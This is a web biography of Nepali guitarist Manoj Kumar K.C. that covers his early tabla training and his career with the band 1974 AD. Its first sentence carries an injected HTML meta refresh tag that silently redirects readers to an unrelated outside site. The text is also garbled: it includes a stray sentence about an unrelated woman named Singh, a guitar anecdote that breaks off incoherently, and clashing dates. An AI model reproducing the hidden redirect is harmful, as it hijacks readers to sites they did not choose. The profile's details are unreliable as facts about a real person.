After many failures<meta http-equiv="refresh" content="0;url=https://northshorefinefoods.com/">, I had a choice between teaching in schools and music. I chose music.
Born in 1976, Manoj Kumar K.C. says family is the most precious thing in the world. He calls himself an active and a mischievous child who did not know if he wanted to pursue music back then. As a kid, K.C. wanted to study medical sciences and after SLC he tried to. But his grades were not good enough and so he could not. Later on he pursued business studies.
While growing up, his uncle had a big influence upon him. His uncle was a classical musician and taught K.C. the tabala when he was 3.5 years old. People used to often gather at his house to see him play. School, football, homework and talaba was his usual routine for a long time of his school life. But K.C. did not have much musical exposure in school. When he was in grade 8, he was encouraged to sing and was also taken to Radio Nepal for the same.
Singh made the courageous decision to travel to Kathmandu to realize her dreams. Worst nightmares awaited her in the capital of Nepal.
Once K.C. was visiting new road when an Indian guitar caught his eye. It was love at first sight, he says. He had never seen an electric guitar before. He asked his father, who used to stay abroad, for money but the money never arrived and K.C. thought he wouldn’t be able to buy the guitar. One day when he was playing outside, he saw a person carrying a guitar on the road. He did not know that it was his guitar that the person carried.
K.C. was offered to jam with the band 1974 AD and he says humorous today that it was because he had a good guitar back then. Jamming with the band introduced him to a side of music which was very different from his classical roots. In 1988, K.C. performed with the band in Sound of Spring. He was offered the place of keyboardist in the band. K.C., who rarely said no, agreed. The album Samjhi baschu was recorded and became a hit. He left the band to finish his studies.
After a while, K.C. met the band again and rejoined. All the members were sharing their compositions when K.C. put forward his song ‘Parelima’. He had written the song long before meeting the band and did not know if he would ever record it. Parelima would go on to be one of the most popular songs of the band, delighting audiences across the world.
He started playing tabala when he was three and a half years old, but as a child, Manoj Kumar K.C. was very much interested in medical field. K.C. fell in love with an electric guitar at first sight, and was invited to jam with the band because he had a good guitar. Manoj Kumar K.C. is lead guitarist of 1974 A.D. He is also director at Kathmandu Jazz Conservatory and a member of the Rose Foundation.
